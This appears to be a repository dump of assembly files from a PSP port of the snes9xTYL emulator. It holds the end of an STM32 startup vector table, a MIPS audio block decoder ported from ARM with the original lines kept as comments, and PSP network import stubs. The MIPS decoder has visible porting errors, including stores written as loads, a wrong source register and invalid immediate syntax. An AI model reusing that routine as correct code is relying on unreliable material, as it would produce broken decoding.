Line2 DCD EXTI3_IRQHandler ; EXTI Line3 DCD EXTI4_IRQHandler ; EXTI Line4 DCD DMA1_Stream0_IRQHandler ; DMA1 Stream 0 DCD DMA1_Stream1_IRQHandler ; DMA1 Stream 1 DCD DMA1_Stream2_IRQHandler ; DMA1 Stream 2 DCD DMA1_Stream3_IRQHandler ; DMA1 Stream 3 DCD DMA1_Stream4_IRQHandler ; DMA1 Stream 4 DCD DMA1_Stream5_IRQHandler ; DMA1 Stream 5 DCD DMA1_Stream6_IRQHandler ; DMA1 Stream 6 DCD ADC_IRQHandler ; ADC1, ADC2 and ADC3s DCD CAN1_TX_IRQHandler ; CAN1 TX DCD CAN1_RX0_IRQHandler ; CAN1 RX0 DCD CAN1_RX1_IRQHandler ; CAN1 RX1 DCD CAN1_SCE_IRQHandler ; CAN1 SCE DCD EXTI9_5_IRQHandler ; External Line[9:5]s DCD TIM1_BRK_TIM9_IRQHandler ; TIM1 Break and TIM9 DCD TIM1_UP_TIM10_IRQHandler ; TIM1 Update and TIM10 DCD TIM1_TRG_COM_TIM11_IRQHandler ; TIM1 Trigger and Commutation and TIM11 DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare DCD TIM2_IRQHandler ; TIM2 DCD TIM3_IRQHandler ; TIM3 DCD TIM4_IRQHandler ; TIM4 DCD I2C1_EV_IRQHandler ; I2C1 Event DCD I2C1_ER_IRQHandler ; I2C1 Error DCD I2C2_EV_IRQHandler ; I2C2 Event DCD I2C2_ER_IRQHandler ; I2C2 Error DCD SPI1_IRQHandler ; SPI1 DCD SPI2_IRQHandler ; SPI2 DCD USART1_IRQHandler ; USART1 DCD USART2_IRQHandler ; USART2 DCD USART3_IRQHandler ; USART3 DCD EXTI15_10_IRQHandler ; External Line[15:10]s DCD RTC_Alarm_IRQHandler ; RTC Alarm (A and B) through EXTI Line DCD OTG_FS_WKUP_IRQHandler ; USB OTG FS Wakeup through EXTI line DCD TIM8_BRK_TIM12_IRQHandler ; TIM8 Break and TIM12 DCD TIM8_UP_TIM13_IRQHandler ; TIM8 Update and TIM13 DCD TIM8_TRG_COM_TIM14_IRQHandler ; TIM8 Trigger and Commutation and TIM14 DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare DCD DMA1_Stream7_IRQHandler ; DMA1 Stream7 DCD FMC_IRQHandler ; FMC DCD SDIO_IRQHandler ; SDIO DCD TIM5_IRQHandler ; TIM5 DCD SPI3_IRQHandler ; SPI3 DCD UART4_IRQHandler ; UART4 DCD UART5_IRQHandler ; UART5 DCD TIM6_DAC_IRQHandler ; TIM6 and DAC1&2 underrun errors DCD TIM7_IRQHandler ; TIM7 DCD DMA2_Stream0_IRQHandler ; DMA2 Stream 0 DCD DMA2_Stream1_IRQHandler ; DMA2 Stream 1 DCD DMA2_Stream2_IRQHandler ; DMA2 Stream 2 DCD DMA2_Stream3_IRQHandler ; DMA2 Stream 3 DCD DMA2_Stream4_IRQHandler ; DMA2 Stream 4 DCD ETH_IRQHandler ; Ethernet DCD ETH_WKUP_IRQHandler ; Ethernet Wakeup through EXTI line DCD CAN2_TX_IRQHandler ; CAN2 TX DCD CAN2_RX0_IRQHandler ; CAN2 RX0 DCD CAN2_RX1_IRQHandler ; CAN2 RX1 DCD CAN2_SCE_IRQHandler ; CAN2 SCE DCD OTG_FS_IRQHandler ; USB OTG FS DCD DMA2_Stream5_IRQHandler ; DMA2 Stream 5 DCD DMA2_Stream6_IRQHandler ; DMA2 Stream 6 DCD DMA2_Stream7_IRQHandler ; DMA2 Stream 7 DCD USART6_IRQHandler ; USART6 DCD I2C3_EV_IRQHandler ; I2C3 event DCD I2C3_ER_IRQHandler ; I2C3 error DCD OTG_HS_EP1_OUT_IRQHandler ; USB OTG HS End Point 1 Out DCD OTG_HS_EP1_IN_IRQHandler ; USB OTG HS End Point 1 In DCD OTG_HS_WKUP_IRQHandler ; USB OTG HS Wakeup through EXTI DCD OTG_HS_IRQHandler ; USB OTG HS DCD DCMI_IRQHandler ; DCMI DCD 0 ; Reserved DCD HASH_RNG_IRQHandler ; Hash and Rng DCD FPU_IRQHandler ; FPU DCD UART7_IRQHandler ; UART7 DCD UART8_IRQHandler ; UART8 DCD SPI4_IRQHandler ; SPI4 DCD SPI5_IRQHandler ; SPI5 DCD SPI6_IRQHandler ; SPI6 DCD SAI1_IRQHandler ; SAI1 DCD 0 ; Reserved DCD 0 ; Reserved DCD DMA2D_IRQHandler ; DMA2D __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP MemManage_Handler\ PROC EXPORT MemManage_Handler [WEAK] B . ENDP BusFault_Handler\ PROC EXPORT BusFault_Handler [WEAK] B . ENDP UsageFault_Handler\ PROC EXPORT UsageFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP DebugMon_Handler\ PROC EXPORT DebugMon_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WWDG_IRQHandler [WEAK] EXPORT PVD_IRQHandler [WEAK] EXPORT TAMP_STAMP_IRQHandler [WEAK] EXPORT RTC_WKUP_IRQHandler [WEAK] EXPORT FLASH_IRQHandler [WEAK] EXPORT RCC_IRQHandler [WEAK] EXPORT EXTI0_IRQHandler [WEAK] EXPORT EXTI1_IRQHandler [WEAK] EXPORT EXTI2_IRQHandler [WEAK] EXPORT EXTI3_IRQHandler [WEAK] EXPORT EXTI4_IRQHandler [WEAK] EXPORT DMA1_Stream0_IRQHandler [WEAK] EXPORT DMA1_Stream1_IRQHandler [WEAK] EXPORT DMA1_Stream2_IRQHandler [WEAK] EXPORT DMA1_Stream3_IRQHandler [WEAK] EXPORT DMA1_Stream4_IRQHandler [WEAK] EXPORT DMA1_Stream5_IRQHandler [WEAK] EXPORT DMA1_Stream6_IRQHandler [WEAK] EXPORT ADC_IRQHandler [WEAK] EXPORT CAN1_TX_IRQHandler [WEAK] EXPORT CAN1_RX0_IRQHandler [WEAK] EXPORT CAN1_RX1_IRQHandler [WEAK] EXPORT CAN1_SCE_IRQHandler [WEAK] EXPORT EXTI9_5_IRQHandler [WEAK] EXPORT TIM1_BRK_TIM9_IRQHandler [WEAK] EXPORT TIM1_UP_TIM10_IRQHandler [WEAK] EXPORT TIM1_TRG_COM_TIM11_IRQHandler [WEAK] EXPORT TIM1_CC_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT TIM3_IRQHandler [WEAK] EXPORT TIM4_IRQHandler [WEAK] EXPORT I2C1_EV_IRQHandler [WEAK] EXPORT I2C1_ER_IRQHandler [WEAK] EXPORT I2C2_EV_IRQHandler [WEAK] EXPORT I2C2_ER_IRQHandler [WEAK] EXPORT SPI1_IRQHandler [WEAK] EXPORT SPI2_IRQHandler [WEAK] EXPORT USART1_IRQHandler [WEAK] EXPORT USART2_IRQHandler [WEAK] EXPORT USART3_IRQHandler [WEAK] EXPORT EXTI15_10_IRQHandler [WEAK] EXPORT RTC_Alarm_IRQHandler [WEAK] EXPORT OTG_FS_WKUP_IRQHandler [WEAK] EXPORT TIM8_BRK_TIM12_IRQHandler [WEAK] EXPORT TIM8_UP_TIM13_IRQHandler [WEAK] EXPORT TIM8_TRG_COM_TIM14_IRQHandler [WEAK] EXPORT TIM8_CC_IRQHandler [WEAK] EXPORT DMA1_Stream7_IRQHandler [WEAK] EXPORT FMC_IRQHandler [WEAK] EXPORT SDIO_IRQHandler [WEAK] EXPORT TIM5_IRQHandler [WEAK] EXPORT SPI3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT UART5_IRQHandler [WEAK] EXPORT TIM6_DAC_IRQHandler [WEAK] EXPORT TIM7_IRQHandler [WEAK] EXPORT DMA2_Stream0_IRQHandler [WEAK] EXPORT DMA2_Stream1_IRQHandler [WEAK] EXPORT DMA2_Stream2_IRQHandler [WEAK] EXPORT DMA2_Stream3_IRQHandler [WEAK] EXPORT DMA2_Stream4_IRQHandler [WEAK] EXPORT ETH_IRQHandler [WEAK] EXPORT ETH_WKUP_IRQHandler [WEAK] EXPORT CAN2_TX_IRQHandler [WEAK] EXPORT CAN2_RX0_IRQHandler [WEAK] EXPORT CAN2_RX1_IRQHandler [WEAK] EXPORT CAN2_SCE_IRQHandler [WEAK] EXPORT OTG_FS_IRQHandler [WEAK] EXPORT DMA2_Stream5_IRQHandler [WEAK] EXPORT DMA2_Stream6_IRQHandler [WEAK] EXPORT DMA2_Stream7_IRQHandler [WEAK] EXPORT USART6_IRQHandler [WEAK] EXPORT I2C3_EV_IRQHandler [WEAK] EXPORT I2C3_ER_IRQHandler [WEAK] EXPORT OTG_HS_EP1_OUT_IRQHandler [WEAK] EXPORT OTG_HS_EP1_IN_IRQHandler [WEAK] EXPORT OTG_HS_WKUP_IRQHandler [WEAK] EXPORT OTG_HS_IRQHandler [WEAK] EXPORT DCMI_IRQHandler [WEAK] EXPORT HASH_RNG_IRQHandler [WEAK] EXPORT FPU_IRQHandler [WEAK] EXPORT UART7_IRQHandler [WEAK] EXPORT UART8_IRQHandler [WEAK] EXPORT SPI4_IRQHandler [WEAK] EXPORT SPI5_IRQHandler [WEAK] EXPORT SPI6_IRQHandler [WEAK] EXPORT SAI1_IRQHandler [WEAK] EXPORT DMA2D_IRQHandler [WEAK] WWDG_IRQHandler PVD_IRQHandler TAMP_STAMP_IRQHandler RTC_WKUP_IRQHandler FLASH_IRQHandler RCC_IRQHandler EXTI0_IRQHandler EXTI1_IRQHandler EXTI2_IRQHandler EXTI3_IRQHandler EXTI4_IRQHandler DMA1_Stream0_IRQHandler DMA1_Stream1_IRQHandler DMA1_Stream2_IRQHandler DMA1_Stream3_IRQHandler DMA1_Stream4_IRQHandler DMA1_Stream5_IRQHandler DMA1_Stream6_IRQHandler ADC_IRQHandler CAN1_TX_IRQHandler CAN1_RX0_IRQHandler CAN1_RX1_IRQHandler CAN1_SCE_IRQHandler EXTI9_5_IRQHandler TIM1_BRK_TIM9_IRQHandler TIM1_UP_TIM10_IRQHandler TIM1_TRG_COM_TIM11_IRQHandler TIM1_CC_IRQHandler TIM2_IRQHandler TIM3_IRQHandler TIM4_IRQHandler I2C1_EV_IRQHandler I2C1_ER_IRQHandler I2C2_EV_IRQHandler I2C2_ER_IRQHandler SPI1_IRQHandler SPI2_IRQHandler USART1_IRQHandler USART2_IRQHandler USART3_IRQHandler EXTI15_10_IRQHandler RTC_Alarm_IRQHandler OTG_FS_WKUP_IRQHandler TIM8_BRK_TIM12_IRQHandler TIM8_UP_TIM13_IRQHandler TIM8_TRG_COM_TIM14_IRQHandler TIM8_CC_IRQHandler DMA1_Stream7_IRQHandler FMC_IRQHandler SDIO_IRQHandler TIM5_IRQHandler SPI3_IRQHandler UART4_IRQHandler UART5_IRQHandler TIM6_DAC_IRQHandler TIM7_IRQHandler DMA2_Stream0_IRQHandler DMA2_Stream1_IRQHandler DMA2_Stream2_IRQHandler DMA2_Stream3_IRQHandler DMA2_Stream4_IRQHandler ETH_IRQHandler ETH_WKUP_IRQHandler CAN2_TX_IRQHandler CAN2_RX0_IRQHandler CAN2_RX1_IRQHandler CAN2_SCE_IRQHandler OTG_FS_IRQHandler DMA2_Stream5_IRQHandler DMA2_Stream6_IRQHandler DMA2_Stream7_IRQHandler USART6_IRQHandler I2C3_EV_IRQHandler I2C3_ER_IRQHandler OTG_HS_EP1_OUT_IRQHandler OTG_HS_EP1_IN_IRQHandler OTG_HS_WKUP_IRQHandler OTG_HS_IRQHandler DCMI_IRQHandler HASH_RNG_IRQHandler FPU_IRQHandler UART7_IRQHandler UART8_IRQHandler SPI4_IRQHandler SPI5_IRQHandler SPI6_IRQHandler SAI1_IRQHandler DMA2D_IRQHandler B . ENDP ALIGN ;******************************************************************************* ; User Stack and Heap initialization ;******************************************************************************* IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ALIGN ENDIF END ;************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE*****

173210/snes9xTYL

9,222

sound_mips.S

.align 4 .globl DecodeBlockAsm .globl DecodeBlockAsm2 .macro SMP12CLIP16 BGT $8, 0xFFFF8000,1111f nop LI $8, 0xFFFF8000 J 1112f nop 1111: BLT $8, 0x7FFF,1112f nop li $8, 0x7FFF 1112: BGT $6, 0xFFFF8000,1121f nop li $6, 0xFFFF8000 J 1122f nop 1121: BLT $6, 0x7FFF,1122f nop li $6, 0x7FFF 1122: .endm /* ;Bit-Rate Expand Waveform ; ;Desc: ; Decompresses a 9-byte bit-rate reduced block into 16 16-bit samples. ; This procedure is designed to be recursively called to decompress a series of blocks. ;In: ; $4=ESI-> Sample Block ; $5=EDI -> Output buffer ; $6=EDX =3D Last sample of previous block (32-bit) ; $7=EBX =3D Next to last sample (sign extended from 16-bits) ;Out: ; $4=ESI -> Next Block ; $5=EDI -> After last sample ; $6=EDX =3D Last sample (32-bit) ; $7=EBX =3D Next to last sample (16-bit) ;Destroys: ; $8=EAX */ .align 4 DecodeBlockAsm: //LDR $6,[$6] lw $6,($6) //LDR $7,[$7] lw $7,($7) //BL BREWave jal BREWave nop //LDMFD SP!,{$4,$5} //STR $6,[$4] lw $6,($4) //STR $7,[$5] lw $7,($5) //LDMFD SP!,{$8,LR} //MOV PC,LR jr $ra nop BREWave: //STMFD SP!,{$9,$10,$11} //Mov AL,[ESI] ;Get header byte //Inc ESI //LDRB $8,[$4],#1 lbu $8,($4) addu $4,$4,0x1 //Mov CL,0CFh //Sub CL,AL //SetC AH //Dec AH //And CL,AH //ShR CL,4 ;Isolate range //CMP $8,#0xD0 blt $8,0xD0,label11 nop //MOVHS $9,#0 move $9,$0 j label12 nop label11: //MOVLO $9,#0xCF //SUBLO $9,$9,$8 //MOVLO $9,$9,LSR #4 li $9,0xCF sub $9,$9,$8 srl $9,$9, 4 label12: //Mov CH,8 ;Decompress 8 bytes (16 nybbles) //MOV $10,#8 li $10,0x8 //Test AL,0Ch ;Does block use ADPCM compression? //JZ @@Method0 ; No //TST $8,#0xC //BEQ Method0 andi $12,$8,0xC beqz $12,Method0 nop //Test AL,8 ;Does block use method 1? //JZ @@Method1 ; Yes //TST $8,#0x8 //BEQ Method1 andi $12,$8,0x8 beqz $12,Method1 nop //Test AL,4 ;Does block use method 2? //jnz @@Method3 ; Yes //jmp @@Method2 //TST $8,#0x4 //BEQ Method2 andi $12,$8,0x4 beqz $12,Method2 nop //B Method3 //;Must use method 3 j Method3 nop /* ALIGN 16 ;[Smp] ----------------------------------*/ Method0: //ADD $9,$9,#16 addu $9,$9, 16 Method0loop: //XOr EAX,EAX //XOr EDX,EDX //Mov AH,byte[ESI] ;Get byte //Mov DH,AH //And AH,0F0h ;AH = High nybble << 12 //ShL DH,4 ;DH = Low nybble << 12 //LDRB $8,[$4],#1 lbu $8,($4) addu $4,$4,1 //$8 = 0x000000hl //MOV $6,$8,LSL #(28) sll $6,$8, 28 //$6 = 0xl0000000 //MOV $8,$8,LSL #(24) sll $6,$8, 24 //$8 = 0xhl000000 //BIC $8,$8,#0x0F000000 andi $8,$8,#0xF0FFFFFF //$8 = 0xh0000000 //SAR AX,CL ;Reduce samples according to range //SAR DX,CL //MOV $8,$8,ASR $9 sra $8,$8,$9 //MOV $6,$6,ASR $9 sra $6,$6,$9 //Mov word[EDI],AX //Mov word[2+EDI],DX //STRH $8,[$5],#2 sh $8,($5) //STRH $6,[$5],#2 sh $6,2($5) addu $5,$5,4 //Add EDI,4 //Inc ESI //Dec CH //JNZ Short @@Method0 //MovSX EDX,DX //MovSX EBX,AX //Ret //SUBS $10,$10,#1 sub $10,$10,1 //BNE Method0loop bnez $10,Method0loop nop //MOV $6,$6,LSL #16 sll $6,$6,16 //MOV $6,$6,ASR #16 sra $6,$6,16 //MOV $7,$8,LSL #16 sll $7,$8,16 //MOV $7,$7,ASR #16 sra $7,$7,16 //LDMFD SP!,{$9,$10,$11} //MOV PC,LR jr $ra nop //ALIGN 16 // ;[Delta]+[Smp-1](15/16) ----------------- Method1: //ADD $11,$9,#16 add $11,$9,16 Method1loop: //MovSX EBX,byte[ESI] ;Sign extend upper nybble into EBX //And BL,0F0h //ShL EBX,8 //SAR EBX,CL //LDRSB $7,[$4] lb $7,($4) //BIC $7,$7,#0xF and $7,$7,0xFFFFFFF0 //MOV $7,$7,LSL #8 sll $7,$7,8 //MOV $7,$7,ASR $9 srav $7,$7,$9 //MovSX EAX,DX //Add EBX,EAX //SAR EAX,4 //Sub EBX,EAX //MOV $8,$6,LSL #16 sll $8,$6,16 //ADD $7,$7,$8,ASR #16 //SUB $7,$7,$8,ASR #20 sra $12,$8,16 sra $13,$8,20 add $7,$12,$7 sub $7,$7,$13 //Mov word[EDI],BX //STRH $7,[$5],#2 sh $7,($5) //Mov DL,byte[ESI] //ShL EDX,12 //MovSX EDX,DX //SAR EDX,CL //LDRSB $6,[$4],#1 lb $6,($4) addu $4,$4,1 //MOV $6,$6,LSL #(12+16) sll $6,$6,28 //MOV $6,$6,ASR $11 srav $6,$6,$11 //MovSX EAX,BX //Add EDX,EAX //SAR EAX,4 //Sub EDX,EAX //MOV $8,$7,LSL #16 sll $8,$7,16 //ADD $6,$6,$8,ASR #16 //SUB $6,$6,$8,ASR #20 sra $12,$8,16 sra $13,$8,20 add $6,$6,$12 sub $6,$6,$13 //Mov word[2+EDI],DX //STRH $6,[$5],#2 sh $6, 2($5) //Add EDI,4 addu $5,$5,4 //Inc ESI //Dec CH //JNZ Short @@Method1 //MovSX EBX,BX //Ret //SUBS $10,$10,#1 sub $10,$10,1 //BNE Method1loop bnez $10,Method1loop nop //MOV $7,$7,LSL #16 sll $7,$7,16 //MOV $7,$7,ASR #16 sra $7,$7,16 //LDMFD SP!,{$9,$10,$11} //MOV PC,LR jr $ra nop //ALIGN 16 //;[Delta]+[Smp-1](61/32)-[Smp-2](30/32) -- Method2: //ADD $11,$9,#16 add $11,$9,16 Method2loop: //MovSX EAX,Byte[ESI] ;EAX = Delta //LDRSB $8,[$4] lb $8,($4) //And AL,0F0h //ShL EAX,8 //SAR EAX,CL //BIC $8,$8,#0xF and $8,$8,0xFFFFFFF0 //MOV $8,$8,LSL #8 sll $8,$8,8 //MOV $8,$8,ASR $9 srav $8,$8,$9 //;Subtract 15/16 of second sample ----- //Sub EAX,EBX //SAR EBX,4 //Add EAX,EBX //MovSX EBX,DX //SUB $8,$8,$7 //ADD $8,$8,$7,ASR #4 //MOV $7,$6 sra $12,$7,4 sub $8,$8,$7 add $8,$8,$12 move $7,$6 //;Add 61/32 of last sample ------------ //And DL,~3 //Add EAX,EDX //Add EAX,EDX //SAR EDX,4 //Sub EAX,EDX //SAR EDX,1 //BIC $6,$6,#3 and $6,$6,0xFFFFFFFC //ADD $8,$8,$6,LSL #1 //SUB $8,$8,$6,ASR #4 sll $12,$6,1 sra $13,$6,4 sra $14,$6,5 add $8,$8,$12 sub $8,$8,$13 //MovSX EDX,DX //Sub EAX,EDX //SUB $8,$8,$6,ASR #5 sub $8,$8,$14 //Mov word[EDI],AX //STRH $8,[$5],#2 sh $8,($5) //Mov DL,byte[ESI] //LDRB $6,[$4],#1 lbu $6,($4) addu $4,$4,1 //ShL EDX,12 //MovSX EDX,DX //SAR EDX,CL //MOV $6,$6,LSL #(12+16) sll $6,$6,28 //MOV $6,$6,ASR $11 sra $6,$6,$11 //Sub EDX,EBX //SAR EBX,4 //Add EDX,EBX //MovSX EBX,AX //SUB $6,$6,$7 //ADD $6,$6,$7,ASR #4 sra $12,$7,4 sub $6,$6,$7 add $6,$6,$12 //MOV $7,$8 move $7,$8 //And AL,~3 //Add EDX,EAX //Add EDX,EAX //SAR EAX,4 //Sub EDX,EAX //SAR EAX,1 //BIC $8,$8,#3 and $8,$8,0xFFFFFFFC //ADD $6,$6,$8,LSL #1 //SUB $6,$6,$8,ASR #4 sll $12,$8,1 sra $13,$8,4 sra $14,$8,5 add $6,$6,$12 sub $6,$6,$13 //MovSX EAX,AX //Sub EDX,EAX //SUB $6,$6,$8,ASR #5 sub $6,$6,$14 //Mov word[2+EDI],DX //STRH $6,[$5],#2 sh $6,2($5) //Add EDI,4 addu $5,$5,4 //Inc ESI //Dec CH //JNZ @@Method2 //Ret //SUBS $10,$10,#1 sub $10,$10,1 //BNE Method2loop bnez $10,Method2loop nop //LDMFD SP!,{$9,$10,$11} //MOV PC,LR jr $ra nop //ALIGN 16 //;[Delta]+[Smp-1](115/64)-[Smp-2](52/64) - Method3: //ADD $11,$9,#16 add $11,$9,16 Method3loop: //MovSX EAX,Byte[ESI] //LDRSB $8,[$4] lb $8,($4) //And AL,0F0h //ShL EAX,8 //SAR EAX,CL //BIC $8,$8,#0xF and $8,$8,0xFFFFFFF0 //MOV $8,$8,LSL #8 sll $8,$8,8 //MOV $8,$8,ASR $9 srav $8,$8,$9 //;Subtract 13/16 of second sample ----- //Sub EAX,EBX //SAR EBX,3 //Add EAX,EBX //SAR EBX,1 //Add EAX,EBX //MovSX EBX,DX //SUB $8,$8,$7 //ADD $8,$8,$7,ASR #3 //ADD $8,$8,$7,ASR #4 sra $12,$7,3 sra $13,$7,4 sub $8,$8,$7 add $8,$8,$12 add $8,$8,$13 //MOV $7,$6 move $7,$6 //;Add 115/64 of last sample ----------- //And DL, ~3 //Add EAX,EDX //Add EAX,EDX //SAR EDX,3 //Sub EAX,EDX //SAR EDX,1 //Sub EAX,EDX //SAR EDX,2 //Sub EAX,EDX //BIC $6,$6,#3 and $6,$6,0xFFFFFFFC //ADD $8,$8,$6,LSL #1 //SUB $8,$8,$6,ASR #3 //SUB $8,$8,$6,ASR #4 //SUB $8,$8,$6,ASR #6 sll $12,$6,1 sra $13,$6,3 sra $14,$6,4 sra $15,$6,6 add $8,$8,$12 sub $8,$8,$13 sub $8,$8,$14 sub $8,$8,$15 //Mov word[EDI],AX //STRH $8,[$5],#2 sh $8,($5) //Mov DL,byte[ESI] //LDRB $6,[$4],#1 lbu $6,($4) addu $4,$4,1 //ShL EDX,12 //MovSX EDX,DX //SAR EDX,CL //MOV $6,$6,LSL #(12+16) sll $6,$6,28 //MOV $6,$6,ASR $11 srav $6,$6,$11 //Sub EDX,EBX //SAR EBX,3 //Add EDX,EBX //SAR EBX,1 //Add EDX,EBX //MovSX EBX,AX //SUB $6,$6,$7 //ADD $6,$6,$7,ASR #3 //ADD $6,$6,$7,ASR #4 sra $12,$7,3 sra $13,$7,4 sub $6,$6,$7 add $6,$6,$12 add $6,$6,$13 //MOV $7,$8 move $7,$8 //And AL, ~3 //Add EDX,EAX //Add EDX,EAX //SAR EAX,3 //Sub EDX,EAX //SAR EAX,1 //Sub EDX,EAX //SAR EAX,2 //Sub EDX,EAX //BIC $8,$8,#3 and $8,$8,0xFFFFFFFC //ADD $6,$6,$8,LSL #1 //SUB $6,$6,$8,ASR #3 //SUB $6,$6,$8,ASR #4 //SUB $6,$6,$8,ASR #6 sll $12,$8,1 sra $13,$8,3 sra $14,$8,4 sra $15,$8,6 add $6,$6,$12 sub $6,$6,$13 sub $6,$6,$14 sub $6,$6,$15 //Mov word[2+EDI],DX //STRH $8,[$5],#2 sh $8,2($5) addu $5,$5,4 //Add EDI,4 //Inc ESI //Dec CH //JNZ @@Method3 //Ret //SUBS $10,$10,#1 sub $10,$10,1 //BNE Method3loop bnez $10,Method3loop nop //LDMFD SP!,{$9,$10,$11} jr $ra nop DecodeBlockAsm2: jr $ra nop

173210/snes9xTYL

1,061

psp/common.s

# REVIEW: should be in the standard includes .macro STUB_START module,d1,d2 .section .rodata.stubmodulename,"a" .word 0 __stub_modulestr_\module: .asciz "\module" .align 2 .section .lib.stub,"wa",@progbits .word __stub_modulestr_\module .word \d1 .word \d2 .word __stub_idtable_\module .word __stub_text_\module .section .rodata.stubidtable,"a" __stub_idtable_\module: .section .text.stub,"a",@progbits __stub_text_\module: .endm .macro STUB_END .endm .macro STUB_FUNC funcid,funcname .set push .set noreorder .section .text.stub .weak \funcname \funcname: jr $ra nop .section .rodata.stubidtable .word \funcid .set pop .endm

173210/snes9xTYL

6,116

psp/adhoc/stubs.s

# Additional Stubs for sceNet APIs (not yet in the PSPSDK) # NOTE: require tricky user entry patching when loaded from kernel thread .set noreorder .include "psp/adhoc/common.s" STUB_START "sceNet",0x90000,0x00080005 STUB_FUNC 0x39af39a6,sceNetInit STUB_FUNC 0x281928a9,sceNetTerm STUB_FUNC 0x50647530,sceNetFreeThreadinfo STUB_FUNC 0xad6844c6,sceNetThreadAbort STUB_FUNC 0x89360950,sceNetEtherNtostr STUB_FUNC 0xd27961c9,sceNetEtherStrton STUB_FUNC 0x0bf0a3ae,sceNetGetLocalEtherAddr STUB_FUNC 0xcc393e48,sceNetGetMallocStat STUB_END STUB_START "sceNetInet",0x90000,0x001c0005 STUB_FUNC 0x17943399,sceNetInetInit STUB_FUNC 0xa9ed66b9,sceNetInetTerm STUB_FUNC 0xdb094e1b,sceNetInetAccept STUB_FUNC 0x1a33f9ae,sceNetInetBind STUB_FUNC 0x8d7284ea,sceNetInetClose STUB_FUNC 0x805502dd,sceNetInetCloseWithRST STUB_FUNC 0x410b34aa,sceNetInetConnect STUB_FUNC 0xe247b6d6,sceNetInetGetpeername STUB_FUNC 0x162e6fd5,sceNetInetGetsockname STUB_FUNC 0x4a114c7c,sceNetInetGetsockopt STUB_FUNC 0xd10a1a7a,sceNetInetListen STUB_FUNC 0xfaabb1dd,sceNetInetPoll STUB_FUNC 0xcda85c99,sceNetInetRecv STUB_FUNC 0xc91142e4,sceNetInetRecvfrom STUB_FUNC 0xeece61d2,sceNetInetRecvmsg STUB_FUNC 0x5be8d595,sceNetInetSelect STUB_FUNC 0x7aa671bc,sceNetInetSend STUB_FUNC 0x05038fc7,sceNetInetSendto STUB_FUNC 0x774e36f4,sceNetInetSendmsg STUB_FUNC 0x2fe71fe7,sceNetInetSetsockopt STUB_FUNC 0x4cfe4e56,sceNetInetShutdown STUB_FUNC 0x8b7b220f,sceNetInetSocket STUB_FUNC 0x80a21abd,sceNetInetSocketAbort STUB_FUNC 0xfbabe411,sceNetInetGetErrno STUB_FUNC 0xb75d5b0a,sceNetInetInetAddr STUB_FUNC 0x1bdf5d13,sceNetInetInetAton STUB_FUNC 0xd0792666,sceNetInetInetNtop STUB_FUNC 0xe30b8c19,sceNetInetInetPton STUB_END STUB_START "sceNetResolver",0x90000,0x00070005 STUB_FUNC 0xf3370e61,sceNetResolverInit STUB_FUNC 0x6138194a,sceNetResolverTerm STUB_FUNC 0x244172af,sceNetResolverCreate STUB_FUNC 0x94523e09,sceNetResolverDelete STUB_FUNC 0x224c5f44,sceNetResolverStartNtoA STUB_FUNC 0x629e2fb7,sceNetResolverStartAtoN STUB_FUNC 0x808f6063,sceNetResolverStop STUB_END STUB_START "sceNetAdhoc",0x90000,0x00190005 STUB_FUNC 0xe1d621d7,sceNetAdhocInit STUB_FUNC 0xa62c6f57,sceNetAdhocTerm STUB_FUNC 0x7a662d6b,sceNetAdhocPollSocket STUB_FUNC 0x73bfd52d,sceNetAdhocSetSocketAlert STUB_FUNC 0x4d2ce199,sceNetAdhocGetSocketAlert STUB_FUNC 0x6f92741b,sceNetAdhocPdpCreate STUB_FUNC 0xabed3790,sceNetAdhocPdpSend STUB_FUNC 0xdfe53e03,sceNetAdhocPdpRecv STUB_FUNC 0x7f27bb5e,sceNetAdhocPdpDelete STUB_FUNC 0xc7c1fc57,sceNetAdhocGetPdpStat STUB_FUNC 0x877f6d66,sceNetAdhocPtpOpen STUB_FUNC 0xfc6fc07b,sceNetAdhocPtpConnect STUB_FUNC 0xe08bdac1,sceNetAdhocPtpListen STUB_FUNC 0x9df81198,sceNetAdhocPtpAccept STUB_FUNC 0x4da4c788,sceNetAdhocPtpSend STUB_FUNC 0x8bea2b3e,sceNetAdhocPtpRecv STUB_FUNC 0x9ac2eeac,sceNetAdhocPtpFlush STUB_FUNC 0x157e6225,sceNetAdhocPtpClose STUB_FUNC 0xb9685118,sceNetAdhocGetPtpStat STUB_FUNC 0x7f75c338,sceNetAdhocGameModeCreateMaster STUB_FUNC 0x3278ab0c,sceNetAdhocGameModeCreateReplica STUB_FUNC 0x98c204c8,sceNetAdhocGameModeUpdateMaster STUB_FUNC 0xfa324b4e,sceNetAdhocGameModeUpdateReplica STUB_FUNC 0xa0229362,sceNetAdhocGameModeDeleteMaster STUB_FUNC 0x0b2228e9,sceNetAdhocGameModeDeleteReplica STUB_END STUB_START "sceNetAdhocctl",0x90000,0x00140005 STUB_FUNC 0xe26f226e,sceNetAdhocctlInit STUB_FUNC 0x9d689e13,sceNetAdhocctlTerm STUB_FUNC 0x0ad043ed,sceNetAdhocctlConnect STUB_FUNC 0xec0635c1,sceNetAdhocctlCreate STUB_FUNC 0x5e7f79c9,sceNetAdhocctlJoin STUB_FUNC 0x08fff7a0,sceNetAdhocctlScan STUB_FUNC 0x34401d65,sceNetAdhocctlDisconnect STUB_FUNC 0x20b317a0,sceNetAdhocctlAddHandler STUB_FUNC 0x6402490b,sceNetAdhocctlDelHandler 